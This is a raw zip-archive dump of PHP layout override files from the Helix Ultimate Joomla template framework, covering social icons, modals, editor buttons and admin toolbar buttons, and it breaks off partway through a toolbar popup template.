				$skype 		= $params->get('skype');
				$flickr 	= $params->get('flickr');
				$vk 		= $params->get('vk');

				if( $params->get('comingsoon_social_icons') && ( $facebook || $twitter || $pinterest || $youtube || $linkedin || $dribbble || $behance || $skype || $flickr || $vk ) )
				{
					$social_output  = '<ul class="social-icons">';

					if( $facebook )
					{
						$social_output .= '<li><a target="_blank" rel="noopener noreferrer" href="'. $facebook .'"><i class="fab fa-facebook" aria-hidden="true"></i></a></li>';
					}
					if( $twitter )
					{
						$social_output .= '<li><a target="_blank" rel="noopener noreferrer" href="'. $twitter .'"><i class="fab fa-twitter" aria-hidden="true"></i></a></li>';
					}
					if( $pinterest )
					{
						$social_output .= '<li><a target="_blank" rel="noopener noreferrer" href="'. $pinterest .'"><i class="fab fa-pinterest" aria-hidden="true"></i></a></li>';
					}
					if( $youtube )
					{
						$social_output .= '<li><a target="_blank" rel="noopener noreferrer" href="'. $youtube .'"><i class="fab fa-youtube" aria-hidden="true"></i></a></li>';
					}
					if( $linkedin )
					{
						$social_output .= '<li><a target="_blank" rel="noopener noreferrer" href="'. $linkedin .'"><i class="fab fa-linkedin" aria-hidden="true"></i></a></li>';
					}
					if( $dribbble )
					{
						$social_output .= '<li><a target="_blank" rel="noopener noreferrer" href="'. $dribbble .'"><i class="fab fa-dribbble" aria-hidden="true"></i></a></li>';
					}
					if( $behance )
					{
						$social_output .= '<li><a target="_blank" rel="noopener noreferrer" href="'. $behance .'"><i class="fab fa-behance" aria-hidden="true"></i></a></li>';
					}
					if( $flickr )
					{
						$social_output .= '<li><a target="_blank" rel="noopener noreferrer" href="'. $flickr .'"><i class="fab fa-flickr" aria-hidden="true"></i></a></li>';
					}
					if( $vk )
					{
						$social_output .= '<li><a target="_blank" rel="noopener noreferrer" href="'. $vk .'"><i class="fab fa-vk" aria-hidden="true"></i></a></li>';
					}
					if( $skype )
					{
						$social_output .= '<li><a href="skype:'. $skype .'?chat"><i class="fab fa-skype" aria-hidden="true"></i></a></li>';
					}

					$social_output .= '</ul>';

					echo $social_output;
				}
			?>

			<?php if(isset($login) && $login) : ?>
				<?php echo $login_form; ?>
			<?php endif; ?>

			<?php $theme->after_body(); ?>
		</div>
		<?php if($params->get('comingsoon_bg_image')) : ?>
			<style>
				body{
					background-image: url(<?php echo Uri::base(true) . '/' . $params->get('comingsoon_bg_image'); ?>);
				}
			</style>
		<?php endif; ?>
	</body>
</html>PK!�o/p;helixultimate/overrides/layouts/joomla/links/groupclose.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('JPATH_BASE') or die;
?>
</ul>
PK!���;helixultimate/overrides/layouts/joomla/links/groupsopen.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('JPATH_BASE') or die;
?>
<div class="j-links-groups">PK!���C<helixultimate/overrides/layouts/joomla/links/groupsclose.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('JPATH_BASE') or die;
?>
</div>
PK!NqH{��:helixultimate/overrides/layouts/joomla/links/groupopen.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('JPATH_BASE') or die;

use Joomla\CMS\Filter\OutputFilter;
use Joomla\CMS\Language\Text;
?>
<h2 class="nav-header"><?php echo OutputFilter::ampReplace(Text::_($displayData)); ?></h2>
<ul class="j-links-group nav nav-list">
PK!Z�5helixultimate/overrides/layouts/joomla/links/link.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('JPATH_BASE') or die;

use Joomla\CMS\Filter\OutputFilter;

$id      = empty($displayData['id']) ? '' : (' id="' . $displayData['id'] . '"');
$target  = empty($displayData['target']) ? '' : (' target="' . $displayData['target'] . '"');
$onclick = empty($displayData['onclick']) ? '' : (' onclick="' . $displayData['onclick'] . '"');
$title   = empty($displayData['title']) ? '' : (' title="' . $this->escape($displayData['title']) . '"');
$text    = empty($displayData['text']) ? '' : ('<span class="j-links-link">' . $displayData['text'] . '</span>')

?>
<li<?php echo $id; ?>>
	<a href="<?php echo OutputFilter::ampReplace($displayData['link']); ?>"<?php echo $target . $onclick . $title; ?>>
		<span class="icon-<?php echo $displayData['image']; ?>" aria-hidden="true"></span> <?php echo $text; ?>
	</a>
</li>
PK!�XT�&&?helixultimate/overrides/layouts/joomla/links/groupseparator.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('JPATH_BASE') or die;
?>
<div class="j-links-separator"></div>
PK!@��~� � 5helixultimate/overrides/layouts/joomla/modal/main.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  Layout
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\Utilities\ArrayHelper;

/**
 * This modal/main.php file is not exists at Joomla 4.
 * So for Joomla 4 don't proceed.
 */
if (JVERSION >= 4)
{
	return;
}

// Load bootstrap-tooltip-extended plugin for additional tooltip positions in modal
HTMLHelper::_('bootstrap.tooltipExtended');

extract($displayData);

/**
 * Layout variables
 * ------------------
 * @param   string  $selector  Unique DOM identifier for the modal. CSS id without #
 * @param   array   $params    Modal parameters. Default supported parameters:
 *                             - title        string   The modal title
 *                             - backdrop     mixed    A boolean select if a modal-backdrop element should be included (default = true)
 *                                                     The string 'static' includes a backdrop which doesn't close the modal on click.
 *                             - keyboard     boolean  Closes the modal when escape key is pressed (default = true)
 *                             - closeButton  boolean  Display modal close button (default = true)
 *                             - animation    boolean  Fade in from the top of the page (default = true)
 *                             - url          string   URL of a resource to be inserted as an <iframe> inside the modal body
 *                             - height       string   height of the <iframe> containing the remote resource
 *                             - width        string   width of the <iframe> containing the remote resource
 *                             - bodyHeight   int      Optional height of the modal body in viewport units (vh)
 *                             - modalWidth   int      Optional width of the modal in viewport units (vh)
 *                             - footer       string   Optional markup for the modal footer
 * @param   string  $body      Markup for the modal body. Appended after the <iframe> if the URL option is set
 *
 */

$modalClasses = array('modal', 'hide');

if (!isset($params['animation']) || $params['animation'])
{
	$modalClasses[] = 'fade';
}

$modalWidth = isset($params['modalWidth']) ? round((int) $params['modalWidth'], -1) : '';

if ($modalWidth && $modalWidth > 0 && $modalWidth <= 100)
{
	$modalClasses[] = 'jviewport-width' . $modalWidth;
}

$modalAttributes = array(
	'tabindex' => '-1',
	'class'    => implode(' ', $modalClasses)
);

if (isset($params['backdrop']))
{
	$modalAttributes['data-backdrop'] = (is_bool($params['backdrop']) ? ($params['backdrop'] ? 'true' : 'false') : $params['backdrop']);
}

if (isset($params['keyboard']))
{
	$modalAttributes['data-keyboard'] = (is_bool($params['keyboard']) ? ($params['keyboard'] ? 'true' : 'false') : 'true');
}

/**
 * These lines below are for disabling scrolling of parent window.
 * $('body').addClass('modal-open');
 * $('body').removeClass('modal-open')
 *
 * Scrolling inside bootstrap modals on small screens (adapt to window viewport and avoid modal off screen).
 *      - max-height    .modal-body     Max-height for the modal body
 *                                      When height of the modal is too high for the window viewport height.
 *      - max-height    .iframe         Max-height for the iframe (Deducting the padding of the modal-body)
 *                                      When URL option is set and height of the iframe is higher than max-height of the modal body.
 *
 * Fix iOS scrolling inside bootstrap modals
 *      - overflow-y    .modal-body     When max-height is set for modal-body
 *
 * Specific hack for Bootstrap 2.3.x
 */
$script[] = "jQuery(document).ready(function($) {";
$script[] = "   $('#" . $selector . "').on('show.bs.modal', function() {";
$script[] = "	if ($('#{$selector}').hasClass('hide')) {";
$script[] = "		$('#{$selector}').removeClass('hide');";
$script[] = "	}";

$script[] = "       $('body').addClass('modal-open');";

if (isset($params['url']))
{
	$iframeHtml = LayoutHelper::render('joomla.modal.iframe', $displayData);

	// Script for destroying and reloading the iframe
	$script[] = "       var modalBody = $(this).find('.modal-body');";
	$script[] = "       modalBody.find('iframe').remove();";
	$script[] = "       modalBody.prepend('" . trim($iframeHtml) . "');";
}
else
{
	// Set modalTooltip container to modal ID (selector), and placement to top-left if no data attribute (bootstrap-tooltip-extended.js)
	$script[] = "       $('.modalTooltip').each(function(){;";
	$script[] = "           var attr = $(this).attr('data-placement');";
	$script[] = "           if ( attr === undefined || attr === false ) $(this).attr('data-placement', 'auto-dir top-left')";
	$script[] = "       });";
	$script[] = "       $('.modalTooltip').tooltip({'html': true, 'container': '#" . $selector . "'});";
}

// Adapt modal body max-height to window viewport if needed, when the modal has been made visible to the user.
$script[] = "   }).on('shown.bs.modal', function() {";

// Get height of the modal elements.
$script[] = "       var modalHeight = $('div.modal:visible').outerHeight(true),";
$script[] = "           modalHeaderHeight = $('div.modal-header:visible').outerHeight(true),";
$script[] = "           modalBodyHeightOuter = $('div.modal-body:visible').outerHeight(true),";
$script[] = "           modalBodyHeight = $('div.modal-body:visible').height(),";
$script[] = "           modalFooterHeight = $('div.modal-footer:visible').outerHeight(true),";

// Get padding top (jQuery position().top not working on iOS devices and webkit browsers, so use of Javascript instead)
$script[] = "           padding = document.getElementById('" . $selector . "').offsetTop,";

// Calculate max-height of the modal, adapted to window viewport height.
$script[] = "           maxModalHeight = ($(window).height()-(padding*2)),";

// Calculate max-height for modal-body.
$script[] = "           modalBodyPadding = (modalBodyHeightOuter-modalBodyHeight),";
$script[] = "           maxModalBodyHeight = maxModalHeight-(modalHeaderHeight+modalFooterHeight+modalBodyPadding);";

if (isset($params['url']))
{
	// Set max-height for iframe if needed, to adapt to viewport height.
	$script[] = "       var iframeHeight = $('.iframe').height();";
	$script[] = "       if (iframeHeight > maxModalBodyHeight){;";
	$script[] = "           $('.modal-body').css({'max-height': maxModalBodyHeight, 'overflow-y': 'auto'});";
	$script[] = "           $('.iframe').css('max-height', maxModalBodyHeight-modalBodyPadding);";
	$script[] = "       }";
}
else
{
	// Set max-height for modal-body if needed, to adapt to viewport height.
	$script[] = "       if (modalHeight > maxModalHeight){;";
	$script[] = "           $('.modal-body').css({'max-height': maxModalBodyHeight, 'overflow-y': 'auto'});";
	$script[] = "       }";
}

$script[] = "   }).on('hide.bs.modal', function () {";

$script[] = "		if (!$('#{$selector}').hasClass('hide')) {";
$script[] = "			$('#{$selector}').addClass('hide');";
$script[] = "		}";

$script[] = "       $('body').removeClass('modal-open');";
$script[] = "       $('.modal-body').css({'max-height': 'initial', 'overflow-y': 'initial'});";
$script[] = "       $('.modalTooltip').tooltip('destroy');";
$script[] = "   });";
$script[] = "});";

Factory::getDocument()->addScriptDeclaration(implode("\n", $script));
?>
<div id="<?php echo $selector; ?>" <?php echo ArrayHelper::toString($modalAttributes); ?>>
	<div class="modal-dialog" role="document" style="max-width: <?php echo $params['width']; ?>; max-height: <?php echo $params['height']; ?>;">
		<div class="modal-content">
			<?php
				// Header
				if (!isset($params['closeButton']) || isset($params['title']) || $params['closeButton'])
				{
					echo LayoutHelper::render('joomla.modal.header', $displayData);
				}

				// Body
				echo LayoutHelper::render('joomla.modal.body', $displayData);

				// Footer
				if (isset($params['footer']))
				{
					echo LayoutHelper::render('joomla.modal.footer', $displayData);
				}
			?>
		</div>
	</div>
</div>
PK!Qjw�kk:helixultimate/overrides/layouts/joomla/quickicons/icon.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('JPATH_BASE') or die;

$id      = empty($displayData['id']) ? '' : (' id="' . $displayData['id'] . '"');
$target  = empty($displayData['target']) ? '' : (' target="' . $displayData['target'] . '"');
$onclick = empty($displayData['onclick']) ? '' : (' onclick="' . $displayData['onclick'] . '"');
$title   = empty($displayData['title']) ? '' : (' title="' . $this->escape($displayData['title']) . '"');
$text    = empty($displayData['text']) ? '' : ('<span class="j-links-link">' . $displayData['text'] . '</span>');

$pulse = '';

if ($id !== '')
{
	$pulse = ($displayData['id'] === 'plg_quickicon_joomlaupdate' || $displayData['id'] === 'plg_quickicon_extensionupdate') ? ' pulse' : '';
}

?>
<div class="col-4 col-lg-3"<?php echo $id; ?>>
	<a href="<?php echo $displayData['link']; ?>" class="d-flex align-items-stretch<?php echo $pulse; ?>"<?php echo $target . $onclick . $title; ?>>
		<span class="icon-<?php echo $displayData['image']; ?> text-center" aria-hidden="true"></span>
		<span class="d-flex align-items-center hidden-xs-down"><?php echo $text; ?></span>
	</a>
	<span class="hidden-sm-up quickicon-text-xs"><?php echo $text; ?></span>
</div>
PK!�gb���:helixultimate/overrides/layouts/joomla/editors/buttons.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

$buttons = $displayData;
?>
<div id="editor-xtd-buttons" role="toolbar" aria-label="<?php echo Text::_('JTOOLBAR'); ?>">
	<?php if ($buttons) : ?>
		<?php foreach ($buttons as $button) : ?>
			<?php echo $this->sublayout('button', $button); ?>
		<?php endforeach; ?>
		<?php foreach ($buttons as $button) : ?>
			<?php echo LayoutHelper::render('joomla.editors.buttons.modal', $button); ?>
		<?php endforeach; ?>
	<?php endif; ?>
</div>
PK!2�I�uuAhelixultimate/overrides/layouts/joomla/editors/buttons/button.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined ('JPATH_BASE') or die();

$button = $displayData;

if ($button->get('name')) :
	$class   = 'btn btn-secondary';
	$class  .= ($button->get('class')) ? ' ' . $button->get('class') : null;
	$class  .= ($button->get('modal')) ? ' modal-button' : null;
	$target  = '#' . $button->get('text', '');
	$onclick = ($button->get('onclick')) ? ' onclick="' . $button->get('onclick') . '"' : '';
	$title   = ($button->get('title')) ? $button->get('title') : $button->get('text');
	$href	 = ' href="' . $target . '"';
	$toggle  = '';

	if ($button->get('modal', 0))
	{
		$toggle = ' data-bs-toggle="modal"';
		$href = ' href="' . $target . 'Modal"';
	}
?>
<a
	type="button"
	role="button"
	class="<?php echo $class; ?>"
	<?php echo $toggle . $href . $onclick; ?>
	title="<?php echo $title; ?>"
>
	<span class="icon-<?php echo $button->get('name'); ?>" aria-hidden="true"></span> <?php echo $button->get('text'); ?>
</a>
<?php endif; ?>
PK!G��AA@helixultimate/overrides/layouts/joomla/editors/buttons/modal.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  Layout
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use HelixUltimate\Framework\Platform\Helper;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;

$button = $displayData;

if (!$button->get('modal'))
{
	return;
}

$class    = ($button->get('class')) ? $button->get('class') : null;
$class   .= ($button->get('modal')) ? ' modal-button' : null;
$href     = '#' . str_replace(' ', '', $button->get('text')) . 'Modal';
$link     = ($button->get('link')) ? Uri::base() . $button->get('link') : null;
$onclick  = ($button->get('onclick')) ? ' onclick="' . $button->get('onclick') . '"' : '';
$title    = ($button->get('title')) ? $button->get('title') : $button->get('text');
$options  = is_array($button->get('options')) ? $button->get('options') : array();

$confirm = '';

if (is_array($button->get('options')) && isset($options['confirmText']) && isset($options['confirmCallback']))
{
	$confirm = '<button type="button" class="btn btn-success" data-bs-dismiss="modal" onclick="' . $options['confirmCallback'] . '">'
		. $options['confirmText'] . ' </button>';
}

if (null !== $button->get('id'))
{
	$id = str_replace(' ', '', $button->get('id'));
}
else
{
	$id = str_replace(' ', '', $button->get('text')) . 'Modal';
}

// Create the modal
echo HTMLHelper::_(
	'bootstrap.renderModal',
	$id,
	array(
		'url'    => $link,
		'title'  => $title,
		'height' => array_key_exists('height', $options) ? $options['height'] : '400px',
		'width'  => array_key_exists('width', $options) ? $options['width'] : '800px',
		'bodyHeight'  => array_key_exists('bodyHeight', $options) ? $options['bodyHeight'] : '70',
		'modalWidth'  => array_key_exists('modalWidth', $options) ? $options['modalWidth'] : '80',
		'footer' => $confirm . '<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">'
			. Text::_("JLIB_HTML_BEHAVIOR_CLOSE") . '</button>'
	)
);
PK!Fj���:helixultimate/overrides/layouts/joomla/toolbar/confirm.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/


defined('JPATH_BASE') or die;

use Joomla\CMS\HTML\HTMLHelper;

HTMLHelper::_('behavior.core');

$id     = isset($displayData['id']) ? $displayData['id'] : '';
$doTask = $displayData['doTask'];
$class  = $displayData['class'];
$text   = $displayData['text'];
?>
<button<?php echo $id; ?> onclick="<?php echo $doTask; ?>" class="btn btn-sm btn-outline-danger">
	<span class="<?php echo $class; ?>" aria-hidden="true"></span>
	<?php echo $text; ?>
</button>
PK!���CAhelixultimate/overrides/layouts/joomla/toolbar/containerclose.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('JPATH_BASE') or die;
?>
</div>
PK!Q�����7helixultimate/overrides/layouts/joomla/toolbar/link.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('JPATH_BASE') or die;

$id     = isset($displayData['id']) ? $displayData['id'] : '';
$doTask = $displayData['doTask'];
$class  = $displayData['class'];
$text   = $displayData['text'];
$margin = (strpos($doTask, 'index.php?option=com_config') === false) ? '' : ' ms-auto';
?>
<button<?php echo $id; ?> class="btn btn-outline-danger btn-sm<?php echo $margin; ?>" onclick="location.href='<?php echo $doTask; ?>';">
	<span class="<?php echo $class; ?>" aria-hidden="true"></span>
	<?php echo $text; ?>
</button>
PK!�=נ$$8helixultimate/overrides/layouts/joomla/toolbar/apply.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('JPATH_BASE') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;

HTMLHelper::_('behavior.core');

if (preg_match('/Joomla.submitbutton/', $displayData['doTask']))
{
	$ctrls = str_replace("Joomla.submitbutton('", '', $displayData['doTask']);
	$ctrls = str_replace("')", '', $ctrls);
	$ctrls = str_replace(";", '', $ctrls);

	$options = array('task' => $ctrls);
	Factory::getDocument()->addScriptOptions('keySave', $options);
}

$id       = isset($displayData['id']) ? $displayData['id'] : '';
$doTask   = $displayData['doTask'];
$class    = $displayData['class'];
$text     = $displayData['text'];
$btnClass = $displayData['btnClass'];
?>
<button<?php echo $id; ?> onclick="<?php echo $doTask; ?>" class="<?php echo $btnClass; ?>">
	<span class="<?php echo trim($class); ?>"></span>
	<?php echo $text; ?>
</button>
PK!�v�Z''7helixultimate/overrides/layouts/joomla/toolbar/base.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('JPATH_BASE') or die;

?>
<?php echo $displayData['action']; ?>
PK!�)���8helixultimate/overrides/layouts/joomla/toolbar/title.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('JPATH_BASE') or die;

$icon = empty($displayData['icon']) ? 'generic' : preg_replace('#\.[^ .]*$#', '', $displayData['icon']);
?>
<h1 class="page-title">
	<span class="icon-<?php echo $icon; ?>" aria-hidden="true"></span>
	<?php echo $displayData['title']; ?>
</h1>
PK!�!�&��@helixultimate/overrides/layouts/joomla/toolbar/containeropen.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('JPATH_BASE') or die;

use Joomla\CMS\Language\Text;

?>
<div class="btn-toolbar d-flex" role="toolbar" aria-label="<?php echo Text::_('JTOOLBAR'); ?>" id="<?php echo $displayData['id']; ?>">
PK!?����;helixultimate/overrides/layouts/joomla/toolbar/standard.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('JPATH_BASE') or die;

use Joomla\CMS\HTML\HTMLHelper;

HTMLHelper::_('behavior.core');

$id       = isset($displayData['id']) ? $displayData['id'] : '';
$doTask   = $displayData['doTask'];
$class    = $displayData['class'];
$text     = $displayData['text'];
$btnClass = $displayData['btnClass'];
$group    = $displayData['group'];
?>

<?php if ($group) : ?>
<a<?php echo $id; ?> href="#" onclick="<?php echo $doTask; ?>" class="dropdown-item">
	<span class="<?php echo trim($class); ?>"></span>
	<?php echo $text; ?>
</a>
<?php else : ?>
<button<?php echo $id; ?> onclick="<?php echo $doTask; ?>" class="<?php echo $btnClass; ?>">
	<span class="<?php echo trim($class); ?>" aria-hidden="true"></span>
	<?php echo $text; ?>
</button>
<?php endif; ?>
PK!`�<<Bhelixultimate/overrides/layouts/joomla/toolbar/group/groupopen.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('JPATH_BASE') or die;

$btnClass = $displayData['class'];
?>
<div class="btn-group">
PK!�_�Chelixultimate/overrides/layouts/joomla/toolbar/group/groupclose.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('JPATH_BASE') or die;

?>
	</div>
</div>
PK!',dAhelixultimate/overrides/layouts/joomla/toolbar/group/groupmid.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('JPATH_BASE') or die;

$btnClass = $displayData['class'];
?>
<button
	type="button"
	class="btn btn-sm <?php echo $btnClass; ?> dropdown-toggle dropdown-toggle-split" data-bs-toggle="dropdown"
	data-bs-auto-close="true"
	aria-haspopup="true"
	aria-expanded="false"></button>
<div class="dropdown-menu">
PK!�S��

8helixultimate/overrides/layouts/joomla/toolbar/batch.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/


defined('JPATH_BASE') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

HTMLHelper::_('behavior.core');

$id    = isset($displayData['id']) ? $displayData['id'] : '';
$title = $displayData['title'];
Text::script('JLIB_HTML_PLEASE_MAKE_A_SELECTION_FROM_THE_LIST');
Text::script('ERROR');
$message = "{'error': [Joomla.JText._('JLIB_HTML_PLEASE_MAKE_A_SELECTION_FROM_THE_LIST')]}";
$alert = "Joomla.renderMessages(" . $message . ")";
?>
<button<?php echo $id; ?> data-bs-toggle="modal" onclick="if (document.adminForm.boxchecked.value==0){<?php echo $alert; ?>}else{jQuery( '#collapseModal' ).modal('show'); return true;}" class="btn btn-outline-primary btn-sm">
	<span class="icon-checkbox-partial" aria-hidden="true" title="<?php echo $title; ?>"></span>
	<?php echo $title; ?>
</button>
PK!�[��8helixultimate/overrides/layouts/joomla/toolbar/modal.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/


defined('JPATH_BASE') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

$selector = $displayData['selector'];
$id       = isset($displayData['id']) ? $displayData['id'] : '';
$class    = isset($displayData['class']) ? $displayData['class'] : 'btn btn-secondary btn-sm';
$icon     = isset($displayData['icon']) ? $displayData['icon'] : 'fas fa-download';
$text     = isset($displayData['text']) ? $displayData['text'] : '';

// Render the modal
echo HTMLHelper::_('bootstrap.renderModal',
	'modal_'. $selector,
	array(
		'url'         => $displayData['doTask'],
		'title'       => $text,
		'height'      => '100%',
		'width'       => '100%',
		'modalWidth'  => 80,
		'bodyHeight'  => 60,
		'closeButton' => true,
		'footer'      => '<a class="btn btn-secondary" data-bs-dismiss="modal" type="button"'
						. ' onclick="window.parent.jQuery(\'#modal_downloadModal\').modal(\'hide\');">'
						. Text::_("COM_BANNERS_CANCEL") . '</a>'
						. '<button class="btn btn-success" type="button"'
						. ' onclick="jQuery(\'#modal_downloadModal iframe\').contents().find(\'#exportBtn\').click();">'
						. Text::_("COM_BANNERS_TRACKS_EXPORT") . '</button>',
	)
);
?>
<button<?php echo $id; ?> onclick="jQuery('#modal_<?php echo $selector; ?>').modal('show')" class="<?php echo $class; ?>" data-bs-toggle="modal" title="<?php echo $text; ?>">
	<span class="icon-<?php echo $icon; ?>" aria-hidden="true"></span><?php echo $text; ?>
</button>
PK!5���7helixultimate/overrides/layouts/joomla/toolbar/help.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/


defined('JPATH_BASE') or die;

use Joomla\CMS\HTML\HTMLHelper;

HTMLHelper::_('behavior.core');

$id     = isset($displayData['id']) ? $displayData['id'] : '';
$doTask = $displayData['doTask'];
$text   = $displayData['text'];
?>
<button<?php echo $id; ?> onclick="<?php echo $doTask; ?>" rel="help" class="btn btn-outline-info btn-sm">
	<span class="icon-question-sign" aria-hidden="true"></span>
	<?php echo $text; ?>
</button>
PK!��1���<helixultimate/overrides/layouts/joomla/toolbar/separator.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('JPATH_BASE') or die;
PK!����))<helixultimate/overrides/layouts/joomla/toolbar/iconclass.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('JPATH_BASE') or die;
?>
icon-<?php echo $displayData['icon']; ?>
PK!�ɴ�8helixultimate/overrides/layouts/joomla/toolbar/popup.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/


defined('JPATH_BASE') or die;

use Joomla\CMS\HTML\HTMLHelper;

HTMLHelper::_('behavior.core');

$id     = isset($displayData['id']) ? $displayData['id'] : '';
$doTask = $displayData['doTask'];
$class  = $displayData['class'];
$text   = $displayData['text'];
$name   = $displayData['name'];
